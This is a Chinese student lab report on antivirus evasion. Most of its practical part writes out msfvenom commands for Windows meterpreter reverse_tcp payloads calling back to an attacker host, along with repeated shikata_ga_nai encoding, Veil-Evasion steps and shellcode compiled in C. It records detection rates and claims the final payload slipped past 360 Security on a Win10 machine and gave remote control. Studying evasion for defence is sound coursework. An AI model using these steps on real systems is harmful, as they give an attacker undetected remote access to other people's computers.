20145302张薇 《网络对抗技术》免杀原理与实践
基础问题回答
1.杀软是如何检测出恶意代码的?
- 创建特征码库,对恶意代码的特征码进行匹配,匹配到即为恶意代码;
- 看该代码是否被流行免杀加壳软件加壳,如果有可能就是恶意代码;
- 根据该代码是否有恶意行为来判别,若有恶意的行为,我们就认为该代码是恶意代码。
2.免杀是做什么? - 免杀就是通过改变恶意程序的明显特征等信息,使其免除被系统自身或杀毒软件查杀发现的技术。
3.免杀的基本方法有哪些? - 改变特征码
- 加壳:使用专业的加壳软件,掩盖特征码;
- 使用encode等进行编码,进行异或、+1、-1等类似操作改变特征码;
- 使用其他语言进行重写再编译,如veil-evasion。
- 改变攻击行为
- 反弹式连接能大大减少被阻止查杀的风险;
- 在正常应用软件中插入恶意代码;
- 将恶意代码加密,运行恶意代码后再解密进行恶意操作;
- 使用隧道技术
- 自己手动编写一个恶意软件;
- 使用有漏洞的应用软件作为后门,攻击漏洞端口进行非法操作;或诱导用户关闭自己的杀毒软件。
实践总结与体会
- 通过本次实验,我了解了一般的杀毒软件查杀的原理,一般的恶意代码是如何想尽办法伪装的;
- 我们很容易的发现单单依赖查杀软件或者防火墙是不会完美保护我们的电脑主机的;
- 我们最好是提高自身的安全保护意识和专业知识,才能降低我们被恶意代码侵害的风险。
离实战还缺些什么技术或步骤?
- 首先,靶机不会乖乖的让我们传送目标文件,反弹式连接很重要,将恶意代码融进用户常用的应用程序可以提高我们的攻击成功率,但是黑进主流的常用软件程序内部是一件很难的事情;
- 其次,一般的杀毒软件对主流的编码、加壳的平台程序都会有研究,直接使用这些平台进行攻击成功的几率极其小,我们需要自己的手工的在恶意代码中添加一些东西,这需要更加专业的知识,对各种系统更深的了解;
- 目前所做的实验只局限在同一网段,但是现实中的IP的变幻多端的,很复杂;
- 有人生成恶意代码,就有人会想办法消除恶意代码带来的危害,没有可以一直称霸PC的恶意代码,我们要与时俱进,实时更新。
实践过程记录
msfvenom直接生成meterpreter可执行文件
-
win8的IP地址:192.168.199.237
-
Kali的IP地址:192.168.199.109
-
使用
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.199.109 PORT=302 -f exe > fool.exe
命令生成meterpreter可执行文件fool.exe -
使用ncat将文件传输到win8主机
-
电脑管家检测到fool.exe恶意软件并删除,找回文件即可
-
我们上http://www.virscan.org/这个网站检测一下有多少查毒软件可以将其查杀出来
- 点击浏览选项,自行选中所要检测的程序:fool.exe,随后点击扫描一下即可。
-
检查结果如下:
-
有21/39的杀毒软件发现有病毒
-
这已经是很简单的恶意软件了,如果连这都检测不出来,那怕是不能用了
Msfvenom使用编码器生成meterpreter可执行文件
(1)一次编码
-
使用
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b ‘x00’ LHOST=192.168.199.109 LPORT=1302 -f exe > fool1302.exe
命令生成编码过的可执行文件fool1302.exe
-
我们发现被编码后的payload大小为360字节,上面直接生成的payload大小为333字节,但是最终文件的大小都是73802字节。
-
以上述相同方法传送给win8主机后再次检测:
-
我们发现有18/39的杀毒软件发现有病毒,只有微小的变化,因为AV不是吃素的,AV的工作人员都有相关做恶意代码的经验,编码这种事情肯定难不倒他们。
(2)多次编码
-
我们尝试使用
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b ‘x00’ LHOST=192.168.199.109 LPORT=2302 -f exe > fool2302-e8.exe
命令将文件编码10次,得到如下结果:
-
在文件夹中,该exe文件显示的图标如下:
-
他说有个字节错误了,这是为何呢?
-
编码八次:
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 8 -b ‘x00’ LHOST=192.168.199.109 LPORT=2302 -f exe > fool2302-e8.exe
-
由上图发现每编码一次,信息都会显示出来,而且每次payload增加27字节,最终payload大小为549字节,但是文件最终大小仍为73802字节
-
再来检测一下:
-
在编码8次之后,有21/39的杀毒软件检测出了有问题
-
我们发现,一般的杀毒软件对于编码这种免杀方法都是有防御性的
使用Veil-Evasion生成可执行文件
-
win8的IP地址:10.43.37.37
-
Kali的IP地址:10.43.35.99
-
在Kali中打开veil-evasion:直接在终端输入veil-evasion即可(如果是自己安装的kali可以用
sudo apt-get veil-evasion
下载一个)
-
在该界面下输入命令:use python/meterpreter/rev_tcp,出现结果如下图所示:
-
使用
set LHOST 10.43.35.99
命令将LHOST设为Kali的IP
-
输入命令generate,进入到如下界面
-
接下来我们输入自己生成的可执行文件的名字:5302ve
-
他会询问我们选择哪种编写方式,我们选择1,用python语言来编写,最终出现如下界面
-
这里的端口我忘改了,不过这个也就和msf一样,自己随便设置就好。
-
该可执行文件存在kali计算机的/var/lib/veil-evasion/output/compiled/文件夹里,点击places的kali5302即可找到相应的文件夹:
-
检测结果如下:
-
有9/39的杀毒软件报告发现有病毒,效果还是不错的
使用C语言调用Shellcode
(初步调试)
-
使用
msfvenom -p windows/meterpreter/reverse_tcp LHOST=攻击者IP LPORT=302 -f c
命令生成一个C语言shellcode数组
-
创建一个C文件:MSSC.c(意为免杀shellcode),将上面生成的数组copy到该文件下,并加入一个主函数:
-
使用
i686-w64-mingw32-g++ MSSC.c -o MSSC_5302.exe
命令将该C语言代码MSSC.c转换为一个可在64位windows系统下操作的可执行文件MSSC_5302.exe
-
将MSSC_5302.exe传到win8主机下,很不幸,直接被电脑管家查杀出来!我们先将其添加入信任区,检测一下,结果如下:
-
有8/39的查杀软件发现了这是恶意文件,一般的主流杀软可以查出来吧!
(再次尝试)
-
将上面生成的数组copy到win8的主机上,用vs2013编写一个C程序并编译
-
在Kali下使用msf监听(如何进行msf监听),运行刚刚编译生成的可执行文件,成功获取权限:
-
检测一下:
-
有4/39的查杀软件发现了病毒,比上一个超简单的C程序厉害了一点
-
我们找到C可执行文件的位置,用电脑管家扫描一下,成功免杀。
电脑实测
- 首先生成C的shellcode数组
- 添加主函数编译后弄成一个可执行文件FMSSC.exe,传输到一台win10上
- win10电脑配有360安全卫士,查杀是没有问题的:
- 而且获取了权限,截了他的屏